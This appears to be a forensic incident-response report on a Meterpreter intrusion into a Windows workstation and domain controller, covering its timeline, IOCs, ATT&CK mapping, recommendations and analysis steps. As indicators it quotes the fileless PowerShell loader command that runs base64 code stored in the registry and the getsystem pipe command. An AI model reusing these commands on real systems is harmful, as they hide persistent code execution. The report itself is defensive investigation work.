- The pcap timestamps carry a +0200 offset, and the capture clock runs 1 h behind the host. This was confirmed on three pivots, so every pcap time in the timeline table must be read +1 h.
- No timestomping was found.

New IOCs (I-016..I-020)
- the PowerShell loader command line;
- the HKLM\Software\q9Z1bssi key;
- the Edge partial and cache files;
- 10.42.85.10 as an internal pivot host;
- the injected region in spoolsv.exe.

All earlier IOCs are kept (hashes, IPs, URLs, Run value, services, account, archives).

F-032: Timeline consistency: host clock coherent across EVTX/$MFT/$J/Prefetch/memory; VM resume clock jump 01:54:39→03:13:20; pcap clock ~1 h behind host

Severity	**Informational**
Confidence	confirmed
Independent sources	evtx:security.evtx evtx:system.evtx memory network
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2020-09-19 01:54:37.447633 → 2020-09-19 03:40:49

Observed facts

(1) Kernel-General 1 at 03:13:20.50 records OldTime 2020-09-19 01:54:39.66 → NewTime 03:13:20.50 (VM suspended/resumed, clock resynchronised; no events exist between 01:54:39 and 03:13:20); micro-adjustments by W32Time at 01:54:37 and 03:13:28 (4616 RecordIDs in Security, Kernel-General 1). No backward clock change during the attack window 03:36–03:52 or at 05:08. (2) Host-side sources agree to the second: coreupdater.exe psscan CreateTime 03:40:49 = Prefetch last run = USN Zone.Identifier StreamChange 03:40:49.317; Run-key PowerShell psscan 05:08:37/05:08:43 = PowerShell 600 05:08:40 ; Registry Run LastWrite 03:44:03. (3) The Suricata eve timestamps carry a +0200 offset (e.g. HTTP GET / raw 04:39:26.94+0200 = 02:39:26.94 UTC) and C2 flow 50875 starts 02:40:49.94 UTC (pcap) while the process starts 03:40:49 host — the capture clock (or its time zone) is 1 h behind the host; all pcap times in the timeline table must be read +1 h. Machine time zone is Pacific (ActiveTimeBias 420 = UTC-7, PDT), so local attack time ≈ 20:36–20:52 on 2020-09-18. (4) No timestomping on attacker artefacts (F-030).

Analysis

The host timeline is internally consistent and may be used as reference. The 1 h pcap offset is a sensor clock/TZ artefact (probably a DST mis-configuration on the capture box), not attacker manipulation; correlation was validated on three independent pivots (RDP 4624 vs flow, coreupdater download vs $J, C2 flow vs Prefetch). The 01:54→03:13 gap is a VM pause, explaining the absence of events in that interval; it predates the intrusion on the workstation (first attacker contact with the workstation 03:36:22).

Evidence (6)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:13:20.501601	Event logs (EVTX)	EVTX event System 1 | Microsoft-Windows-Kernel-General | The system time was changed | OldTime: 2020-09-19 01:54:39.6645222 | NewTime: 2020-09-19 03:13:20.5000000 | Reason: System time synchronized with the hardware clock.	evtxecmd/ evtxecmd_0.csv#40808	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-19 03:13:28.318873	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-19 03:13:28.3154393 | NewTime: 2020-09-19 03:13:28.3183014 | LogonId: 0x3E5 | C:\Windows\ System32\svchost.exe	evtxecmd/ evtxecmd_0.csv#39496	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 01:54:37.447633	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-19 01:54:37.4418021 | NewTime: 2020-09-19 01:54:37.4469563 | LogonId: 0x3E5 | C:\Windows\ System32\svchost.exe	evtxecmd/ evtxecmd_0.csv#39495	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 02:39:26.940438	HTTP (Suricata)	HTTP request / http_hostname=194.61.24.102 | http_http_method=GET | http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041 | http_http_content_type=text/html | http_length=228 | src_ip=10.42.85.115 | dest_ip=194.61.24.102	suricata/case001.pcap/ eve_http.jsonl#153	case001.pcap
2020-09-19 02:40:49.936293	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50875 -> 203.78.103.109:443 failed state=established bytes=280374/1764209	suricata/case001.pcap/ eve_flow.jsonl#29788	case001.pcap
2020-09-19 03:40:49	Memory: process scan (psscan)	process created (memory, psscan) coreupdater.ex PID=8324 | PPID=4008 | ImageFileName=coreupdater.ex | SessionId=3	volatility/ windows.psscan.PsScan.jsonl#167	C:\Sleuthline\cases\ test04\memory\ DESKTOP-SDN1RPT.mem

5. Indicators of compromise

ID	Type	Value	Context	First seen (UTC)	Last seen (UTC)	References
I-001	sha256	10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6	coreupdater.exe (7168 bytes, MD5 eed41b4500e473f97c50c7385ef5e374) downloaded from http://194.61.24.102/coreupdater.exe by 10.42.85.115 and 10.42.85.10	2020-09-19 02:39:58.412735	2020-09-19 02:39:58.412735	suricata/case001.pcap/eve_fileinfo.jsonl#138
I-002	sha1	fd153c66386ca93ec9993d66a84d6f0d129a3a5c	Amcache SHA1 of C:\Windows\System32\coreupdater.exe (Meterpreter stager)	2020-09-19 03:40:45.191906	2020-09-19 03:40:45.191906	amcacheparser/20261025201808_Amcache_UnassociatedFileEntries.csv#2
I-003	ip	194.61.24.102	Attacker host: RDP to DC, hosting /coreupdater.exe over HTTP port 80	2020-09-19 02:21:27.226262	2020-09-19 02:39:58.411351	suricata/case001.pcap/eve_alert.jsonl#442 suricata/case001.pcap/eve_alert.jsonl#32
I-004	ip	203.78.103.109	Meterpreter C2 on TCP 443 (flows from 10.42.85.115 ports 50875, 50972 and from DC)	2020-09-19 02:40:50.282950	2020-09-19 02:40:50.282950	suricata/case001.pcap/eve_alert.jsonl#446 volatility/windows.netscan.NetScan.jsonl#110
I-005	path	C:\Windows\System32\coreupdater.exe	Malware location, MFT entry 26213; also service 'coreupdater' (auto start, LocalSystem)	2020-09-19 03:40:00.691657	2020-09-19 03:42:42.676537	mftecmd_mft/mft.csv#27972 evtxecmd/evtxecmd_0.csv#40866
I-006	service	nehgye	Meterpreter getsystem service: cmd.exe /c echo nehgye > \\.\pipe\nehgye	2020-09-19 03:43:14.990879	2020-09-19 03:43:14.990879	evtxecmd/evtxecmd_0.csv#40867
I-007	registry	HKLM\Software\q9Z1bssi\JqxNhWJA	Base64 PowerShell payload executed by HKLM Run 'coreupdate'	2020-09-19 05:08:40.484484	2020-09-19 05:08:40.484484	evtxecmd/evtxecmd_0.csv#40903
I-008	file	C:\Users\mortysmith\Documents\loot.zip	Staging archive created by Administrator RDP session 03:46:15-18 (MFT entry 87470, ~131,041 bytes), deleted 03:47:09.	2020-09-19 03:46:15	2020-09-19 03:46:18.069334	mftecmd_usnjrnl/usnjrnl.csv#36776 lecmd/lnk_F.csv#12
I-009	md5	eed41b4500e473f97c50c7385ef5e374	MD5 of coreupdater.exe (7168 bytes) extracted by Suricata from HTTP http://194.61.24.102/coreupdater.exe	2020-09-19 02:39:58.412735	2020-09-19 02:39:58.412735	suricata/case001.pcap/eve_fileinfo.jsonl#138
I-010	url	http://194.61.24.102/coreupdater.exe	Payload download URL used by the DC (IE11) and DESKTOP-SDN1RPT (Edge)	2020-09-19 02:24:06.940063	2020-09-19 02:39:58.411571	suricata/case001.pcap/eve_http.jsonl#156 suricata/case001.pcap/eve_http.jsonl#121
I-011	registry	HKLM\Software\Microsoft\Windows\CurrentVersion\Run\coreupdate	Fileless persistence (03:44:03 UTC): %COMSPEC% /b /c start /b /min powershell -nop -w hidden -c iex(base64 from HKLM:Software\q9Z1bssi value JqxNhWJA)	2020-09-19 03:44:03.540241	2020-09-19 03:44:03.540241	recmd_kroll/recmd_kroll_F.csv#7223 dissect/runkeys.jsonl#5
I-012	service	coreupdater	Auto-start LocalSystem service, ImagePath C:\Windows\System32\coreupdater.exe, created 03:42:42 UTC (7045), stopped in memory	2020-09-19 03:42:42.676537	2020-09-19 03:42:42.676537	recmd_kroll/20261025191813/recmd_kroll_F_Services.csv#115 evtxecmd/evtxecmd_0.csv#40866
I-013	user	C137\Administrator (S-1-5-21-2232410529-1445159330-2725690660-500)	Compromised domain administrator account (brute-forced via RDP on DC); used for RDP type 10 logon from 10.42.85.10 at 2020-09-19 03:36:24 (LogonId 0x857E73) and all attacker actions on the host.	2020-09-19 03:36:24.432948	2020-09-19 03:36:24.432948	evtxecmd/evtxecmd_0.csv#39576 volatility/windows.getsids.GetSIDs.jsonl#619
I-014	file	C:\Users\mortysmith\Documents\My Social Security Number.zip	Initial Explorer-generated name of the staging archive (03:46:15), renamed to loot.zip at 03:46:18 and deleted at 03:47:09 (MFT 87470-2).	2020-09-19 03:46:15.269625	2020-09-19 03:46:18.069334	mftecmd_usnjrnl/usnjrnl.csv#36753 mftecmd_usnjrnl/usnjrnl.csv#36776
I-015	url	http://194.61.24.102/	Attacker HTTP directory listing (228 bytes, SHA256 6978f8fa2bf5afbe1a074401b923ead519ce89471d83376f5cfda50c12bc2d77) browsed with legacy Edge by C137\Administrator 03:39:29-03:44:52 UTC; hosted coreupdater.exe	2020-09-19 02:39:26.940438	2020-09-19 03:39:29	suricata/case001.pcap/eve_http.jsonl#153 suricata/case001.pcap/eve_fileinfo.jsonl#137 wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#7
I-016	command	powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA'))))	Command line of the HKLM Run "coreupdate" fileless Meterpreter loader (Metasploit registry_persistence), executed 05:08:40 at ricksanchez logon (PowerShell 600, psscan PID 508→3316).	2020-09-19 03:44:03.540241	2020-09-19 05:08:40.484484	evtxecmd/evtxecmd_0.csv#40903 dissect/runkeys.jsonl#5

ID	Type	Value	Context	First seen (UTC)	Last seen (UTC)	References
I-017	registry	HKLM\Software\q9Z1bssi	Random-named registry key created 03:44:03 by the attacker to store the base64 PowerShell/shellcode payload (value JqxNhWJA) read by the Run key loader.	2020-09-19 03:44:03.540241	2020-09-19 05:08:40.484484	evtxecmd/ evtxecmd_0.csv#40903 recmd_kroll/recmd_kroll _F.csv#7223
I-018	file	C:\Users\Administrator\Downloads\ coreupdater.exe.b1jhvkh.partial	Edge Save-As temporary file of coreupdater.exe (03:40:00.85, MFT 26213), renamed to coreupdater.exe and moved to System32 at 03:40:42. Edge cache copy: ...\MicrosoftEdge\ Cache\ELJ4KX67\coreupdater[1].exe (03:39:57.91).	2020-09-19 03:39:57.907806	2020-09-19 03:40:00.847956	mftecmd_usnjrnl/ usnjrnl.csv#35860 mftecmd_usnjrnl/usnjrnl. csv#35845
I-019	ip	10.42.85.10	Internal DC CITADEL-DC01 (C137.local), compromised by RDP brute force from 194.61.24.102 and used as the RDP pivot into DESKTOP-SDN1RPT (4624 type 10 source, 03:36:24). Internal pivot host, not an external IOC — scope the DC.	2020-09-19 02:36:23.515604	2020-09-19 03:36:24.432948	evtxecmd/ evtxecmd_0.csv#39576 suricata/case001.pcap/ev e_flow.jsonl#31238
I-020	path	spoolsv.exe PID 2188 – RWX MZ region at 0x1840000 (Meterpreter migration)	Memory IOC: injected PE in spoolsv.exe (SYSTEM) holding C2 socket 50875→203.78.103.109:443 and lsass handle.			volatility/ windows.malware.malfin d.Malfind.jsonl#1 volatility/windows.netsca n.NetScan.jsonl#110

6. MITRE ATT&CK mapping

Technique	Findings / events
T1003.001	F-015
T1005	F-013, F-026, F-031, T-012
T1021.001	F-006, F-018, F-022, F-023, F-024, F-031, T-004, T-018
T1021.002	F-025
T1027	F-010, F-019
T1036.005	F-008, F-027, T-020
T1039	F-025
T1041	F-014, F-031, T-025
T1046	F-018, T-014
T1055	F-010, T-027
T1055.001	F-015, T-027
T1059.001	F-010, F-016, F-019, T-010
T1059.003	F-012, T-011
T1070	F-030
T1070.004	F-013, F-026, T-013, T-021
T1071	F-011, T-007, T-016
T1071.001	F-008, F-014, F-015, F-016, F-017
T1074.001	F-031
T1078.002	F-006, F-021, F-023
T1083	F-026, T-022
T1095	F-017, T-016
T1098	F-022, T-019
T1105	F-008, F-011, F-017, F-027, F-029, T-006, T-015, T-026
T1110	F-011
T1110.001	F-018, T-014
T1112	F-010, F-019, T-017
T1133	F-011
T1134	F-015
T1134.001	F-009, T-009
T1204.002	F-008, F-012, F-029, T-023, T-026
T1543.003	F-008, F-009, F-012, F-020, F-027, T-008, T-011
T1547.001	F-010, F-016, F-019, F-023, T-010, T-017, T-028
T1553.005	F-029, T-023
T1560.001	F-013, F-026, F-031, T-013, T-021
T1562.001	F-007, F-027, F-030, T-005, T-024
T1569.002	F-009, F-012, F-020
T1573	F-017
T1620	F-010, F-015, F-016

7. Answers to the questions

(no question asked)

8. Recommendations

Immediate actions (containment)

- Isolate DESKTOP-SDN1RPT (10.42.85.115) and DC CITADEL-DC01 (10.42.85.10) from the network; a live Meterpreter session (spoolsv.exe PID 2188, powershell.exe PID 3316) to 203.78.103.109:443 was still active at acquisition.
- Block 194.61.24.102 and 203.78.103.109 (all ports) at perimeter firewall/proxy and hunt for any other internal host contacting them.
- Treat C137.local as fully compromised: reset C137\Administrator (-500), ricksanchez and all Domain/Enterprise Admin passwords; reset krbtgt twice (with replication interval between); invalidate sessions/tickets.
- Close external RDP exposure of the DC (internet-facing 3389 brute-forced from 194.61.24.102).
- Notify privacy/legal: PII of mortysmith (Social Security Number file) was staged and probably exfiltrated.

Eradication and recovery

- Delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run value 'coreupdate' and key HKLM\Software\q9Z1bssi (value JqxNhWJA).
- Stop/delete service 'coreupdater' and remove C:\Windows\System32\coreupdater.exe (SHA256 10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6); verify 'nehgye' service is absent.
- Preferably rebuild the workstation and the DC from known-good media rather than cleaning (SYSTEM + Domain Admin implant, possible credential dumping via lsass handle).
- Re-enable Defender real-time protection, MAPS, sample submission and Tamper Protection; run full offline scan.
- Remove unnecessary accounts/groups (Domain Admins, Domain Users, Administrator) from the workstation's Remote Desktop Users group.

Hardening

- Never expose RDP to the internet; require VPN/RD Gateway with MFA; enable account lockout and NLA.
- Rename/disable built-in domain Administrator for interactive use; tiered admin model; forbid Domain Admin interactive logon on workstations (deny logon policies, Protected Users, LAPS for local admin).
- Enable Defender Tamper Protection centrally (Intune/MDE) so local disable via SecHealthUI is impossible; enable ASR rules and SmartScreen block (not warn) for unrecognized apps.
- Enable LSA protection (RunAsPPL) and Credential Guard.
- Application control (WDAC/AppLocker) preventing unsigned executables in System32 / user Downloads.
- Egress filtering: block direct outbound 443 from workstations/servers except via proxy.

Detection and monitoring

- Deploy Sysmon (EID 1/3/8/10/11/13) and enable 4688 with command line, PowerShell ScriptBlock (4104) and Module logging across the estate.
- Alert on Defender 5001/5007 changes to DisableRealtimeMonitoring / SpyNetReporting / SubmitSamplesConsent.
- Alert on 7045 services with random 6-char lowercase names or cmd.exe /c echo ... > \\.\pipe\ (Meterpreter getsystem).
- Alert on Run-key values launching 'powershell -nop -w hidden' and on PowerShell reading base64 from HKLM\Software\<random> (Metasploit registry_persistence).
- Sigma/EDR: spoolsv.exe with outbound non-print network connections or opening lsass.exe handles.
- Network IDS: keep ET 'PE over raw TCP' / Metasploit Bind_API and RDP brute-force signatures enabled; alert on multiple 4625/RDP cookie attempts against admin accounts.

- Alert on 4624 type 10 by Domain Admins to workstations and on RDP chains originating from DCs.

Further investigation

- Full forensic collection (disk + memory + Security/RDP logs) of DC CITADEL-DC01: initial brute-force success (4625/4624 from 194.61.24.102), coreupdater execution at ~03:24, persistence, NTDS.dit access/DCSync, GPO changes, new accounts.
- Complete memory analysis of the existing image: dump spoolsv.exe PID 2188 and powershell PID 3316 regions, extract Meterpreter config/transport, check for mimikatz/kiwi artifacts and lsass reads.
- Decode the HKLM\Software\q9Z1bssi\JqxNhWJA payload to confirm stager parameters (LHOST/LPORT).
- Hunt across all hosts for SHA256 10f3b920..., the Run value 'coreupdate', service 'coreupdater', and connections to 194.61.24.102 / 203.78.103.109.
- Review \\CITADEL-DC01\FileShare access logs for activity under ricksanchez after 05:08 (Meterpreter Domain Admin context).
- Obtain perimeter/firewall/proxy logs beyond the pcap window to bound exfiltration volume and any further C2 sessions.
- Parse legacy Edge WebCache/spartan.edb for complete browsing history of C137\Administrator.

Appendix A: Summary of the analysis steps

Step 1: System context and scope

Host DESKTOP-SDN1RPT (setup name WIN-2IH1TBB9I4Q), Windows 10 Enterprise Evaluation build 19041 x64, VMware VM, installed 2020-09-18 05:47:03 UTC, TZ Pacific (ActiveTimeBias 420, UTC-7). Joined to domain C137.local at ~21:42 UTC 2020-09-18; static IP 10.42.85.115, DNS/DC 10.42.85.10. Accounts: local Admin (RID 1001, Administrators), domain users ricksanchez (-1106), mortysmith (-1108), domain Administrator (-500, RDP logon type 10 from 10.42.85.10 at 2020-09-19 03:36:24 — to be investigated). Last boot 2020-09-19 01:24:04. Responder acquisition from 05:08:58 (SanDisk USB "Incident_drive" E:, FTK Imager 4.2.1.4 at 05:09:56, memory image SystemTime 05:10:39); pcap covers 2020-09-18 21:58 → 2020-09-19 05:38. Early lead: HKLM Run "coreupdate" (hidden PowerShell executing base64 from HKLM\Software\q9Z1bssi\JqxNhWJA, written 03:44:03) that fired at 05:08:37 — not collection. Findings F-001..F-005 (system description, collection context, telemetry limitations, 4616 clock changes, empty parser outputs) and timeline T-001..T-003 recorded.

Not verified: No Sysmon; 4688 only at boot; PowerShell logs only cover 05:08; browser history, PSReadLine, RecycleBin, NTUSER ShellBags outputs empty; ODL strings obfuscated; no native_panther/native_wifi tables available (Panther setup logs and Wi-Fi profiles not checked); EMDMgmt not checked (no removable volume other than the responder USB).

Step 2: Triage of automatic detections

Triage of Hayabusa/Chainsaw/Zircolite/Suricata detections. True positives: F-006 RDP type 10 logon of C137\Administrator (SID -500) from DC 10.42.85.10, 03:36:24-03:52:13; F-007 Defender RTP/MAPS/sample submission disabled 03:39:45-03:39:49 (5001/5007 + DisableRealtimeMonitoring=1); F-008 coreupdater.exe (SHA256 10f3b920..., SHA1 fd153c66...) downloaded via Edge from 194.61.24.102 03:39:57, moved to System32, executed 03:40:49 (Prefetch, psscan PID 8324), service 'coreupdater' 7045 03:42:42, C2 203.78.103.109:443 (Suricata Metasploit Bind_API, netscan ESTABLISHED); F-009 getsystem service 'nehgye' 03:43:14 (7045 + CMD prefetch); F-010 Run key 'coreupdate' fired 05:08:37-05:08:44, hidden PowerShell reflective shellcode loader from HKLM\Software\q9Z1bssi (4104/600, prefetch, psscan PID 508->3316, new C2 flow); F-011 network context: 194.61.24.102 RDP to DC and DC fetched coreupdater, pcap clock ≈ host UTC −1 h (validated on 3 pivots). 7 IOCs, 7 timeline events. FPs documented in note (VMware drivers, FTK ad_driver.sys, OOBE/domain-join account events, SCM WMI consumer, MSIX).

Not verified: hashset empty, so no hash matching possible. No Sysmon/4688 to see parent of coreupdater (PPID 4008 not in memory) or what process migrated the Meterpreter session; netscan Owner/PID empty for C2 connections. Defender quarantine/exclusions tables absent. DC-side activity only visible via pcap. PowerShell payload of 05:08:44 (gzip base64) not decoded in this step; malfind/memory injection to be reviewed later.

Step 3: Program execution

Reviewed Prefetch (196 entries), Amcache files, ShimCache, BAM, UserAssist, PCA (registry_complement), MUICache, SRUM (app resource, network), LNK/JumpLists/RecentDocs, memory psscan/cmdline. Only malicious binary: C:\Windows\System32\coreupdater.exe (SHA1 fd153c66...), executed once at 03:40:49 by C137\Administrator (SID -500) from Explorer in RDP session 3 (UserAssist, Prefetch, Amcache, PCA 03:43:12, SRUM, psscan PID 8324 exit 03:43:10). Interactive cmd.exe 03:41:06 and sc.exe 03:42:42 (service creation) attributed to the same session (F-012). New: collection of mortysmith's sensitive files via Notepad/Photos 03:45:34-03:47:39 and staging as loot.zip (03:46:18, deleted 03:47:09) (F-013). SRUM shows coreupdater network usage in 04:14 and 05:14 slots (333KB/222KB, 170KB/26KB) and PowerShell (ricksanchez) 178KB at 05:14 (F-014). Benign executions documented in note. Timeline T-011..T-013, IOC loot.zip.

Not verified: No 4688/Sysmon process-creation telemetry: exact command lines of cmd.exe/sc.exe are unknown (conhost history empty in memory). ShimCache predates attack (last flush at shutdown before 01:24). Exfiltration of loot.zip not proven — to correlate with pcap/Suricata (note ~1h clock skew) and memory in later steps. SRUM coreupdater activity after the 03:43 process exit is unexplained (service instance vs injection) — for memory step.

Step 4: Memory (RAM)

(call limit reached)

Not verified: tool call limit reached

Step 5: Network traffic (PCAP)

Analysed case001.pcap (SHA256 09ABF49E..., window 2020-09-18 21:58:07 → 2020-09-19 05:38:57 pcap-UTC, pcap ≈1 h behind host clock, re-validated via RDP flow vs 4624 and C2 flow vs Prefetch). Alerts qualified: the true positives are RDP nmap scan + 198 Administrator RDP login requests from 194.61.24.102 to the DC, coreupdater.exe HTTP downloads (DC 02:24:06, workstation 02:39:58 pcap), and 'PE over raw TCP' + Metasploit Bind_API on 5 sessions to 203.78.103.109:443 (3 DC, 2 workstation); the rest is ET INFO/USER_AGENTS noise. F-017: network object hashes (MD5 eed41b45..., SHA1 fd153c66..., SHA256 10f3b920...) match Amcache; C2 flows 50875 (02:40:49→end, 280 KB up/1.76 MB down) and 50972 (04:08:45→end) match Prefetch/Run-key timings and memory netscan ESTABLISHED sockets. F-018: full RDP chain 194.61.24.102 → DC → DESKTOP-SDN1RPT (flows 02:35:55-02:52:14 pcap = 4624 type 10 session). F-011 complemented with disk/memory refs. No DNS for attacker IPs, no lateral movement from the workstation, no cleartext exfiltration; 10.90.90.90 DNSBL sinkhole is environment. Timeline T-014..T-016, IOCs MD5 + URL.

Not verified: C2 traffic is encrypted/non-standard ('failed' app_proto): content and any exfiltration of loot.zip (≈280 KB upstream in session #1) cannot be verified. Memory netscan rows for the C2 sockets lack PID/owner (owner attribution relies on F-015/F-016 netstat). DC-side logs not collected, so the success of the RDP brute force is inferred. F-011 remains 'probable' per tool re-assessment despite added disk/memory references.

Step 6: Persistence

I found two attacker persistence mechanisms, both set up during the C137\Administrator RDP session.
(1) F-019, fileless: HKLM Run value "coreupdate", written 03:44:03 UTC. It starts a hidden PowerShell that runs base64 code stored in HKLM\Software\q9Z1bssi\JqxNhWJA, which matches the Metasploit registry_persistence template. It fired at ricksanchez's logon at 05:08:37 (Shell-Core 9707/9708, PowerShell 600/400), so the attacker gained a Domain Admin context.
(2) F-020: auto-start LocalSystem service "coreupdater" (C:\Windows\System32\coreupdater.exe), sources 7045 03:42:42 + SYSTEM hive + memory svclist (STOPPED). It has never fired because the last boot (01:24) came before the install. "nehgye" was a temporary getsystem service, already deleted, and is not persistence.
Ruled out as benign: scheduled tasks (TaskCache, TaskScheduler 106/140/141, memory), HKCU Run/RunOnce (OneDrive), AppInit_DLLs (empty), Active Setup, Print Monitors/Processors, BootExecute/SetupExecute, WMI 5861 (built-in SCM filter), hosts file (unchanged), Startup folders, and services written after boot (RDP, USB, FTK).
Recorded: T-017, IOCs I-011 (Run value) and I-012 (service), plus a note listing the ruled-out items.

Not verified: - The payload data in HKLM\Software\q9Z1bssi\JqxNhWJA was not extracted by any parser, so the stage content cannot be decoded here.
- The dissect_tasks, dissect_clsid_user, dissect_cim_consumerbindings, native_startup, native_hosts and dissect_msoffice_startup tables are missing. COM hijacking, the WMI repository and Office startup could only be checked indirectly (5861, MFT).
- Security auditing for 4697/4698/4702 was not enabled.
- PendingFileRenameOperations was not parsed.
- Winlogon Shell/Userinit and IFEO were checked only through the RECmd Kroll rows; no anomalous value showed up.

Step 7: Accounts, authentication and privileges

I reviewed the Security events (4624/4625/4634/4647/4648/4672/4720/4722/4724/4728/4732/4738/4798/4799), TerminalServices LSM 21-25/39/40, RCM 261/1149, the SAM UserAccounts, the Terminal Server registry values and the memory token SIDs (getsids).

F-021 (context):
- All account creations happened during OOBE: WDAGUtilityAccount, defaultuser0 and the local Admin (RID 1001).
- The domain join at 21:42:15 used explicit C137\Administrator credentials (4648) and added Domain Admins to the local Administrators group.
- There was only one 4625, and it came from clock skew. There was no brute force against the workstation.
- I summarised logons per account: Admin local console until 03:17:00; ricksanchez and mortysmith type 2 on 2020-09-18 22:44-22:59; ricksanchez type 11/7 at 05:08:15; C137\Administrator type 3 Kerberos and type 10 from 10.42.85.10, 03:36:22-03:52:13.

F-022 (medium):
- At 22:55:33, ricksanchez (from his console session, LogonId 0x438E75) added -500, Domain Admins, Domain Users and mortysmith to Remote Desktop Users. This is probably admin configuration done before the incident, but it authorised the attacker's RDP path.
- fDenyTSConnections=0. The key's LastWrite (03:17:00) matches the end of the local Admin session.

F-023 (high, EVTX + memory):
- The attacker's session (LogonId 0x857E73) had SeDebug, SeLoadDriver and similar privileges. The coreupdater/Edge tokens contain Domain Admins (-512) and Enterprise Admins (-519), so no local privilege escalation was needed beyond getsystem.
- ricksanchez (Domain Admin per memory) made a cached type 11 logon at 05:08:15 at the start of the responder's acquisition. That logon set off the HKLM Run loader in a Domain Admin context.

I added timeline events T-018 (logoff 03:52:13) and T-019 (RDU change), and IOC I-013 (the compromised C137\Administrator account).

Not verified: There are no DC logs, so Kerberos 4768/4769/4776 for the stolen Administrator credential and the brute-force origin cannot be seen on the DC side. No RDPClient 1024/1102 events were found for outbound RDP from this host, which fits the absence of lateral movement from the workstation. I could not tell which value under the Terminal Server key was written at 03:17:00: the key timestamp only covers the last write.

Step 8: Remote access and lateral movement

Remote access and lateral movement review:
- Inbound RDP: the only remote interactive session is C137\Administrator from DC 10.42.85.10 (already covered in F-006/F-018; RCM 1149 and RdpCoreTS 168 at 03:36:23; eve_rdp).
- Outbound RDP: no Terminal Server Client keys, no MSTSC Prefetch, no .rdp files, and no flows from the workstation to any host on port 3389.
- PsExec: none. 7045 shows only coreupdater, nehgye, WPD and FTK besides OOBE/VMware. There is no PSEXESVC, and PsExec, PAExec and RemCom are absent from $MFT.
- WinRM: only local SYSTEM client-side Enumeration events that failed with 0x80338012 at boot/logon. There were no

server-side WinRM sessions.
- RMM tools: no AnyDesk, TeamViewer, ScreenConnect, RustDesk, Splashtop, VNC, ngrok or chisel artifacts in $MFT.
- No Prefetch for net, wmic or winrs.
- Network: internally the workstation only talks to the DC (DNS, Kerberos, LDAP, RPC, SMB for SYSVOL/GPO and NETLOGON at the attacker's profile load). Memory netscan shows only the 3389/445 listeners plus one SMB session to the DC.

F-024 (info): the host was an RDP target, not a pivot.
F-025 (medium): ricksanchez's persistent Z: drive (\\CITADEL-DC01\FileShare, mapped 22:45 the day before) reconnected at the 05:08 logon. That is the same Domain Admin context in which the Meterpreter loader runs. The SMB session was about 28 KB, so there is no sign of bulk transfer.

Not verified: - File-share auditing (5140/5145) and Sysmon were not available.
- C2 traffic is encrypted, so I cannot rule out pivoting or port forwarding through Meterpreter.
- The raw.dissect_mru_mstsc, native_rdp, dissect_remoteaccess_* and dissect_mru_networkdrive tables are absent from this database. I used registry_kroll instead.
- No RDP bitmap cache was parsed.

Step 9: User activity on files and folders

I reviewed LNK (31), Jump Lists auto/custom, ShellBags (4 UsrClass hives), RecentDocs, OpenSave/LastVisited MRU, TypedURLs/TypedPaths, Windows Timeline (Administrator ActivitiesCache incl. CopyPaste), SIDR activity, $UsnJrnl/$MFT for the 03:36-05:20 window, USB/USBSTOR, and memory filescan/cmdscan.

New findings:
- F-026 (high, confirmed): the attacker browsed the Admin, mortysmith and ricksanchez profiles (ShellBags 03:45:07-03:51:14) and opened the SSN, Plans, Portal_gun and Thoughts files. The Explorer zip "My Social Security Number.zip" was created at 03:46:15 (MFT 87470-2), renamed loot.zip at 03:46:18, and permanently deleted at 03:47:09 without going through the Recycle Bin. Its MFT entry was reused by Thoughts.lnk at 03:47:39.
- F-027 (high, confirmed): GUI workflow for the payload. Edge directory listing of 194.61.24.102 (03:39:29-03:44:52), SecHealthUI 03:39:38-54 (also added to F-007), Save-As via PickerHost into Downloads (03:40:00), Explorer move to System32 (03:40:42, same MFT entry), and clipboard pastes into cmd.exe at 03:41:21 and 03:42:38/41/44 around the sc.exe service creation.
- F-028 (info): the only USB device is the responder's SanDisk E: (VSN A6125E71), browsed 05:09-05:13 under ricksanchez. No attacker removable or network volumes appear in LNK, jump lists or ShellBags.

Timeline T-020..T-022 and IOC I-014 were added. Noise is documented in a note.

Not verified: - The loot.zip content and hash cannot be recovered: the MFT record was reused and no memory object exists.
- Exfiltration of the archive over RDP or the encrypted C2 channel is not provable from the artifacts.
- The commands pasted into cmd.exe were not recovered (clipboard payloads empty, no console history).
- Thumbcache, Notepad tabs, Recycle Bin and Dissect MRU tables are not available in the database.
- ShellBag/LNK coverage depends on Explorer usage. Actions performed through Meterpreter leave no ShellBag or LNK artifacts.

Step 10: Web browsing, downloads and e-mail

Step 10 (web browsing, downloads and e-mail) is done. No browser-history tables were parsed: there is no Chromium, Firefox, Hindsight or IE/WebCache output, and the legacy Edge spartan.edb/WebCache files were not processed. I rebuilt the web activity from the Windows Timeline, SIDR activity history, Suricata HTTP/TLS/fileinfo, $UsnJrnl, $MFT Zone.Identifier ADS (disk and memory vol_ads), OpenSavePidlMRU and TypedURLs.

New finding F-029 (high, confirmed: pcap + disk + Windows Timeline) traces where coreupdater.exe came from:
- C137\Administrator opened legacy Edge (EdgeHTML 18.19041, first run for this profile) and went straight to http://194.61.24.102/, a 228-byte directory listing. The request had no Referer, so the URL was typed or pasted.

- Edge then fetched /coreupdater.exe (SHA256 10f3b920..., 7168 bytes) with that page as Referer.
- Disk trace of the download: cache copy coreupdater[1].exe at 03:39:57; Save-As as Downloads\coreupdater.exe.b1jhvkh.partial (MFT 26213) with the Zone.Identifier ADS written at 03:40:00.864, then renamed to coreupdater.exe; moved to System32 at 03:40:42.
